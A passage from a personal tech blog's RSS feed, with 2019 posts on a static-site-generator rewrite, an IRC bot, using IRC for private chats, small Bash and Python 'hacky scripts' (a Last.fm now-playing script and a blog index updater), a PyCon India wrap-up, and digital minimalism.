739ideas for things I could possibly discuss—like in <a href="https://github.com/icyphox/site/issues/10">this
740issue</a>.</p>
741
742<h2 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h2>
743
744<p><a href="https://github.com/icyphox/vite"><code>vite</code></a>, despite what the name suggests
745– is awfully slow. Also, Python is bloat.
746Will rewriting it fix that? That’s what I plan to find out. I have
747a couple of choices of languages to use in the rewrite:</p>
748
749<ul>
750<li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li>
751<li>Nim: My favourite, but I’ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li>
752<li>Shell: Another favourite, muh “minimalsm”. No downside, really.
753(<code>shite</code>?)</li>
754</ul>
755
756<p>Oh, and did I mention—I want it to be compatible with <code>vite</code>.
757I don’t want to have to redo my site structure or its templates. At the
758moment, I rely on Jinja2 for templating, so I’ll need something similar.</p>
759
760<h2 id="irc-bot">IRC bot</h2>
761
762<p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of
763traction, which was pretty cool. I didn’t really talk much about the bot
764itself though; I’m dedicating this section to
765<a href="https://github.com/icyphox/detotated">detotated</a>.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
766
767<p>Fairly simple Python code, using plain sockets. So far, we’ve got a few
768basic features in place:</p>
769
770<ul>
771<li><code>.np</code> command: queries the user’s last.fm to get the currently playing
772track</li>
773<li>Fetches the URL title, when a URL is sent in chat</li>
774</ul>
775
776<p>That’s it, really. I plan to add a <code>.nps</code>, or “now playing Spotify”
777command, since we share Spotify links pretty often.</p>
778
779<h2 id="other">Other</h2>
780
781<p>I’ve been reading some more manga, I’ll update the <a href="/reading">reading
782log</a> when I, well… get around to it. Haven’t had time to do
783much in the past few weeks—the time at the end of a semester tends to
784get pretty tight. Here’s what I plan to get back to during this winter break:</p>
785
786<ul>
787<li>Russian!</li>
788<li>Window manager in Nim</li>
789<li><code>vite</code> rewrite, probably</li>
790<li>The other blog posts in queue</li>
791</ul>
792
793<p>I’ve also put off doing any “security work” for a while now, perhaps
794that’ll change this December. Or whenever.</p>
795
796<p>With that ends my status update, on all things that I <em>haven’t</em> done.</p>
797
798<div class="footnotes">
799<hr />
800<ol>
801<li id="fn-1">
802<p><a href="https://knowyourmeme.com/memes/dedotated-wam">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know) <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
803</li>
804</ol>
805</div>
806]]></description><link>https://icyphox.sh/blog/2019-11-16</link><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-11-16</guid></item><item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
807daily communications, as opposed to non-free alternatives like WhatsApp
808or Telegram. This is an account of how that went.</p>
809
810<h2 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h2>
811
812<p>I’ve tried a <em>ton</em> of messaging applications—Signal, WhatsApp,
813Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>
814
815<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
816centralized architecture, and OWS’s refusal to federate.</p>
817
818<p><strong>WhatsApp</strong>: Facebook’s spyware that people use without a second
819thought. The sole reason I have it installed is for University’s
820class groups; I can’t wait to graduate.</p>
821
822<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It’s
823got a very nice Android client, though.</p>
824
825<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
826on this because I don’t recall what my experience was like, but I’m not
827using it now… so if that’s indicative of anything.</p>
828
829<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
830Overall, pretty great, but it’s slow. I’ve had messages not send / not
831received a lot of times. Matrix + Riot excels in group communication, but
832really sucks for one-to-one chats.</p>
833
834<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>
835
836<p><strong>DeltaChat</strong>: Pretty interesting idea—on paper. Using existing email
837infrastructure for IM sounds great, but it isn’t all that cash in
838practice. Email isn’t instant, there’s always a delay of give or take
8395 to 10 seconds, if not more. This affects the flow of conversation.
840I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>
841
842<h2 id="why-irc">Why IRC?</h2>
843
844<p>It’s free, in all senses of the word. A lot of others have done a great
845job of answering this question in further detail, this is by far my
846favourite:</p>
847
848<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>
849
850<h2 id="using-ircs-private-messages">Using IRC’s private messages</h2>
851
852<p>This was the next obvious choice, but personal message buffers don’t
853persist in ZNC and it’s very annoying to have to do a <code>/query
854nerdypepper</code> (Weechat) or to search and message a user via Revolution
855IRC. The only unexplored option—using a channel.</p>
856
857<h2 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h2>
858
859<p>A fairly easy process:</p>
860
861<ul>
862<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>
863
864<pre><code>#crimson [+ilnpstz 3]
865</code></pre>
866
867<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
868hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
869modes.</p></li>
870<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
871to send a notification for all messages in the specified buffer
872(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
873hand, has an option to setup rules for notifications—super
874convenient.</p></li>
875<li><p>A bot: Lastly, a bot for a few small tasks—fetching URL titles, responding
876to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
877took me about an hour or two to get most of the basic functionality in
878place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
879It is by no means “good code”; it breaks spectacularly from time to
880time.</p></li>
881</ul>
882
883<h2 id="in-conclusion">In conclusion</h2>
884
885<p>As the subtitle suggests, using IRC has been great. It’s probably not
886for everyone though, but it fits my (and Nerdy’s) usecase perfectly.</p>
887
888<p>P.S.: <em>I’m not sure why the footnotes are reversed.</em></p>
889
890<div class="footnotes">
891<hr />
892<ol>
893<li id="fn-modes">
894<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>. <a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
895</li>
896
897<li id="fn-deltachat">
898<p>It’s in <a href="https://github.com/icyphox/site/issues/10">queue</a>. <a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
899</li>
900</ol>
901</div>
902]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
903episode a couple of days ago, and it highlighted some interesting issues that
904intelligence organizations face when working with law enforcement. Side note: it’s a pretty
905good show if you like police procedurals.</p>
906
907<h2 id="the-problem">The problem</h2>
908
909<p>Consider the following scenario:</p>
910
911<ul>
912<li>There’s a local drug lord who’s been recruited to provide intel, by a certain 3-letter organization.</li>
913<li>Local PD busts his operation and proceed to arrest him.</li>
914<li>3-letter org steps in, wants him released.</li>
915</ul>
916
917<p>So here’s the thing, his presence is a threat to public but at the same time,
918he can be a valuable long term asset—giving info on drug inflow, exchanges and perhaps even
919actionable intel on bigger fish who exist on top of the ladder. But he also
920seeks security. The 3-letter org must provide him with protection,
921in case he’s blown. And like in our case, they’d have to step in if he gets arrested.</p>
922
923<p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
924Who matters more, the people they’ve sworn to protect, or the asset?
925Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>
926
927<p>Thus, the question arises—how can we measure the “usefulness” of an
928asset to better quantify the tradeoff that is to be made?
929Is the intel gained worth the loss of public safety?
930This question remains largely unanswered, and is quite the
931predicament should you find yourself in it.</p>
932
933<p>This was a fairly short post, but an interesting problem to ponder
934nonetheless.</p>
935]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
936to learn to code. Don’t get me wrong—it probably works for some.
937Everyone learns differently. But that’s only going to get you so far.
938Great you know the syntax, you can solve some competitive programming
939problems, but that’s not quite enough, is it? The actual learning comes
940from <em>applying</em> it in solving <em>actual</em> problems—not made up ones.
941(<em>inb4 some seething CP bro comes at me</em>)</p>
942
943<p>Now, what’s an actual problem? Some might define it as real world
944problems that people out there face, and solving it probably requires
945building a product. This is what you see in hackathons, generally.</p>
946
947<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
948face. This could be anything. Heck, it might not even be a “problem”. It
949could just be an itch that you want to scratch. And this is where
950<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
951examples.</p>
952
953<h2 id="now-playing-status-in-my-bar">Now playing status in my bar</h2>
954
955<p>If you weren’t aware already—I rice my desktop. A lot. And a part of
956this cohesive experience I try to create involves a status bar up at the
957top of my screen, showing the time, date, volume and battery statuses etc.</p>
958
959<p>So here’s the “problem”. I wanted to have my currently playing song
960(Spotify), show up on my bar. How did I approach this? A few ideas
961popped up in my head:</p>
962
963<ul>
964<li>Send <code>playerctl</code>’s STDOUT into my bar</li>
965<li>Write a Python script to query Spotify’s API</li>
966<li>Write a Python/shell script to query Last.fm’s API</li>
967</ul>
968
969<p>The first approach bombed instantly. <code>playerctl</code> didn’t recognize my
970Spotify client and whined about some <code>dbus</code> issues to top it off.
971I spent a while in that rabbit hole but eventually gave up.</p>
972
973<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
974I realize that I’ll have to make <em>more</em> than one request to fetch the
975artist and track details. Nope, I need this to work fast.</p>
976
977<p>Last resort—Last.fm’s API. Spolier alert, this worked. Also, arguably
978the best choice, since it shows the track status regardless of where
979the music is being played. Here’s the script in its entirety:</p>
980
981<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
982<span class="c1"># now playing</span>
983<span class="c1"># requires the last.fm API key</span>
984
985<span class="nb">source</span> ~/.lastfm <span class="c1"># `export API_KEY="<key>"`</span>
986<span class="nv">fg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">"</span>
987<span class="nv">light</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">"</span>
988
989<span class="nv">USER</span><span class="o">=</span><span class="s2">"icyphox"</span>
990<span class="nv">URL</span><span class="o">=</span><span class="s2">"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"</span>
991<span class="nv">URL</span><span class="o">+=</span><span class="s2">"&user=</span><span class="nv">$USER</span><span class="s2">&api_key=</span><span class="nv">$API_KEY</span><span class="s2">&format=json&limit=1&nowplaying=true"</span>
992<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">" "</span> <span class="c1"># I like to have it show nothing</span>
993<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
994<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0]."@attr".nowplaying'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
995
996
997<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$NOWPLAYING</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"true"</span> <span class="o">]]</span>
998<span class="k">then</span>
999 <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].name'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
1000 <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].artist."#text"'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
1001 <span class="nb">echo</span> -ne <span class="s2">"%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">"</span>
1002<span class="k">else</span>
1003 <span class="nb">echo</span> -ne <span class="s2">"</span><span class="nv">$NOTPLAYING</span><span class="s2">"</span>
1004<span class="k">fi</span>
1005</code></pre></div>
1006
1007<p>The <code>source</code> command is used to fetch the API key which I store at
1008<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they’re only
1009for coloring output on my bar. The rest is fairly trivial and just
1010involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
1011That’s it! It’s so small, but I learnt a ton. For those curious, here’s
1012what it looks like running:</p>
1013
1014<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
1015
1016<h2 id="update-latest-post-on-the-index-page">Update latest post on the index page</h2>
1017
1018<p>This pertains to this very blog that you’re reading. I wanted a quick
1019way to update the “latest post” section in the home page and the
1020<a href="/blog">blog</a> listing, with a link to the latest post. This would require
1021editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
1022of both pages.</p>
1023
1024<p>This was a very
1025interesting challenge to me, primarily because it requires in-place
1026editing of the file, not just appending. Sure, I could’ve come up with
1027some <code>sed</code> one-liner, but that didn’t seem very fun. Also I hate
1028regexes. Did a lot of research (read: Googling) on in-place editing of
1029files in Python, sorting lists of files by modification time etc. and
1030this is what I ended up on, ultimately:</p>
1031
1032<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
1033
1034<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
1035<span class="kn">import</span> <span class="nn">os</span>
1036<span class="kn">import</span> <span class="nn">fileinput</span>
1037<span class="kn">import</span> <span class="nn">sys</span>
1038
1039<span class="c1"># change our cwd</span>
1040<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">"bin"</span><span class="p">)</span>
1041
1042<span class="n">blog</span> <span class="o">=</span> <span class="s2">"../pages/blog/"</span>
1043
1044<span class="c1"># get the most recently created file</span>
1045<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
1046 <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">"_index.md"</span><span class="p">,</span> <span class="s2">"feed.xml"</span><span class="p">]]</span>
1047 <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
1048 <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
1049
1050<span class="c1"># adding an entry to the markdown table</span>
1051<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
1052 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/_index.md"</span>
1053 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1054 <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
1055 <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| --- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
1056 <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
1057
1058 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1059 <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
1060
1061<span class="c1"># editing the md source in-place</span>
1062<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
1063 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/blog/_index.md"</span>
1064 <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
1065 <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
1066 <span class="k">if</span> <span class="s2">"--:"</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
1067 <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
1068 <span class="nb">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">),</span>
1069
1070
1071<span class="c1"># fetch title and date</span>
1072<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">"metadata"</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
1073<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
1074<span class="n">url</span> <span class="o">=</span> <span class="s2">"/blog/"</span> <span class="o">+</span> <span class="n">fname</span>
1075<span class="n">line</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"| [</span><span class="si">{meta['title']}</span><span class="s2">](</span><span class="si">{url}</span><span class="s2">) | `</span><span class="si">{meta['date']}</span><span class="s2">` |"</span>
1076
1077<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
1078<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
1079</code></pre></div>
1080
1081<p>I’m going to skip explaining this one out, but in essence, it’s <strong>one
1082massive hack</strong>. And in the end, that’s my point exactly. It’s very
1083hacky, but the sheer amount I learnt by writing this ~50
1084line script can’t be taught anywhere.</p>
1085
1086<p>This was partially how
1087<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
1088intended to be a script to build my site, but grew into a full-blown
1089Python package. I could’ve just
1090used an off-the-shelf static site generator
1091given that there are <a href="https://staticgen.com">so many</a> of them, but
1092I chose to write one myself.</p>
1093
1094<p>And that just about sums up what I wanted to say. The best and most fun
1095way to learn to code—write hacky scripts. You heard it here.</p>
1096]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I’ve decided to drop the “Weekly” part of the status update posts, since
1097they were never weekly and—let’s be honest—they aren’t going to be.
1098These posts are, henceforth, just “Status updates”. The date range can
1099be inferred from the post date.</p>
1100
1101<p>That said, here’s what I’ve been up to!</p>
1102
1103<h2 id="void-linux">Void Linux</h2>
1104
1105<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
1106really. The very comfy <code>apk</code>, ultra mnml system… but having to
1107maintain a chroot for my glibc needs was getting way too painful. And
1108the package updates are so slow! Heck, they’re still on kernel 4.xx on
1109their supposed “bleeding” <code>edge</code> repo.</p>
1110
1111<p>So yes, Void Linux it is. Still a very clean system. I’m loving it.
1112I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
1113(-95 mV). Can’t say for sure if there’s a noticeable difference in
1114battery life though. I’ll see if I can run some tests.</p>
1115
1116<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
1117
1118<h2 id="pycon">PyCon</h2>
1119
1120<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
1121
1122<h2 id="this-website">This website</h2>
1123
1124<p>I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time
1125using Netlify, though. I used to host my old blog which ran Hugo, there.
1126I was tired of doing this terrible hack to maintain a single repo for
1127both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here’s
1128what I did:</p>
1129
1130<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
1131
1132git push origin master
1133<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
1134git subtree push --prefix build origin gh-pages
1135</code></pre></div>
1136
1137<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
1138by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
1139build</code>. Very pleasant.</p>
1140
1141<h2 id="mnmlwms-status"><code>mnmlwm</code>’s status</h2>
1142
1143<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
1144window manager written in Nim. I’d taken a break from it for a while
1145because Xlib is such a pain to work with (or I’m just dense). Anyway,
1146I’m planning on getting back to it, with some fresh inspiration from
1147Dylan Araps’ <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
1148
1149<h2 id="other">Other</h2>
1150
1151<p>I’ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
1152Monogatari</em> (till the latest chapter) and <em>Another</em>, and I’ve just
1153started <em>Kakegurui</em>. I’ll reserve my opinions for when I update the
1154<a href="/reading">reading log</a>.</p>
1155
1156<p>That’s about it, and I’ll see you—definitely not next week.</p>
1157]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last
1158weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India.
1159It was my first PyCon, <em>and</em> my first ever talk at a major conference!
1160This is an account of the all the cool stuff I saw, people I met and the
1161talks I enjoyed.
1162Forgive the lack of pictures—I prefer living the moment through my
1163eyes. </p>
1164
1165<h2 id="talks">Talks</h2>
1166
1167<p>So much ML! Not that it’s a bad thing, but definitely interesting to
1168note. From what I counted, there were about 17 talks tagged under “Data
1169Science, Machine Learning and AI”. I’d have liked to see more talks
1170discussing security and privacy, but hey, the organizers can only pick
1171from what’s submitted. ;)</p>
1172
1173<p>With that point out of the way, here are some of the talks I really liked:</p>
1174
1175<ul>
1176<li><strong>Python Packaging - where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
1177<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
1178<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
1179<li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
1180<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing
1181keynote</li>
1182</ul>
1183
1184<h2 id="my-talk">My talk (!!!)</h2>
1185
1186<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
1187our smart lock security research. Agreed, it might have been less
1188“hardware” and more of a bug on the server-side, but that’s the thing
1189about IoT right? It’s so multi-faceted, and is an amalgamation of so
1190many different hardware and software stacks. But, anyway…</p>
1191
1192<p>I was reassured by folks after the talk that the silence during Q/A was
1193the “good” kind of silence. Was it really? I’ll never know.</p>
1194
1195<h2 id="some-nice-people-i-met">Some nice people I met</h2>
1196
1197<ul>
1198<li><a href="https://twitter.com/abhirathb">Abhirath</a>—A 200 IQ lad. Talked to
1199me about everything from computational biology to the physical
1200implementation of quantum computers.</li>
1201<li><a href="https://twitter.com/meain_">Abin</a>—He recognized me from my
1202<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
1203awesome.</li>
1204<li><a href="https://twitter.com/h6165">Abhishek</a></li>
1205<li>Pradyun and Vikrant (linked earlier)</li>
1206</ul>
1207
1208<p>And a lot of other people doing really great stuff, whose names I’m
1209forgetting.</p>
1210
1211<h2 id="pictures">Pictures!</h2>
1212
1213<p>It’s not much, and
1214I can’t be bothered to format them like a collage or whatever, so I’ll
1215just dump them here—as is.</p>
1216
1217<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
1218<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
1219<img src="/static/img/me_talking.jpg" alt="me talking" />
1220<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
1221
1222<h2 id="cest-tout">C’est tout</h2>
1223
1224<p>Overall, a great time and a weekend well spent. It was very different
1225from your typical security conference—a lot more <em>chill</em>, if you
1226will. The organizers did a fantastic job and the entire event was put
1227together really well.
1228I don’t have much else to say, but I know for sure that I’ll be
1229there next time.</p>
1230
1231<p>That was PyCon India, 2019.</p>
1232]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
1233subject. But this is inherently different, since it’s <em>my</em> opinion on
1234the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p>
1235
1236<p>According to me, minimalism can be achieved on two primary fronts –
1237the phone & the computer. Let’s start with the phone. The daily carry.
1238The device that’s on our person from when we get out of bed, till we get
1239back in bed.</p>
1240
1241<h2 id="the-phone">The phone</h2>
1242
1243<p>I’ve read about a lot of methods people employ to curb their phone
1244usage. Some have tried grouping “distracting” apps into a separate
1245folder, and this supposedly helps reduce their usage. Now, I fail to see
1246how this would work, but YMMV. Another technique I see often is using
1247a time governance app—like OnePlus’ Zen Mode—to enforce how much
1248time you spend using specific apps, or the phone itself. I’ve tried this
1249for myself, but I constantly found myself counting down the minutes
1250after which the phone would become usable again. Not helpful.</p>
1251
1252<p>My solution to this is a lot more brutal. I straight up uninstalled the
1253apps that I found myself using too often. There’s a simple principle
1254behind it—if the app has a desktop alternative, like Twitter,
1255Reddit, etc. use that instead. Here’s a list of apps that got nuked from
1256my phone:</p>
1257
1258<ul>
1259<li>Twitter</li>
1260<li>Instagram (an exception, no desktop client)</li>
1261<li>Relay for Reddit</li>
1262<li>YouTube (disabled, ships with stock OOS)</li>
1263</ul>
1264
1265<p>The only non-productive app that I’ve let remain is Clover,
1266a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
1267holds up. I’ve also allowed my personal messaging apps to remain, since
1268removing those would be inconveniencing others.</p>
1269
1270<p>I must admit, I often find myself reaching for my phone out of habit
1271just to check Twitter, only to find that its gone. I also subconsciously
1272tap the place where its icon used to exist (now replaced with my mail
1273client) on my launcher. The only “fun” thing left on my phone to do is
1274read or listen to music. Which is okay, in my opinion.</p>
1275
1276<h2 id="the-computer">The computer</h2>
1277
1278<p>I didn’t do anything too nutty here, and most of the minimalism is
1279mostly aesthetic. I like UIs that get out of the way. </p>
1280
1281<p>My setup right now is just a simple bar at the top showing the time,
1282date, current volume and battery %, along with my workspace indicators.
1283No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
1284try to force myself to not use stuff—after all, I’ve reduced it
1285elsewhere. :)</p>
1286
1287<p>Now the question arises: Is this just a phase, or will I stick to it?
1288What’s going to stop me from heading over to the Play Store and
1289installing those apps back? Well, I never said this was going to be
1290easy. There’s definitely some will power needed to pull this off.
1291I guess time will tell.</p>
1292]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
